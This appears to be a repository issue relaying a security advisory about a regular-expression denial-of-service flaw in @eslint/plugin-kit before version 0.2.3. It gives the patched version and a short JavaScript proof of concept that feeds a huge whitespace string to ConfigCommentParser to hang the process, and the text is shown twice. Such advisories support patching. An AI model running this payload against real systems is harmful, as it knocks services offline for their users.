[23] [LOW] Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit #463

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opened 2025-06-04 22:12:30 +01:00 by Vylpes · 0 comments

Vylpes commented

2025-06-04 22:12:30 +01:00

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Package: @eslint/plugin-kit
Affected versions: < 0.2.3
Patched version: 0.2.3

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Package: `@eslint/plugin-kit` Affected versions: `< 0.2.3` Patched version: `0.2.3` --- Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```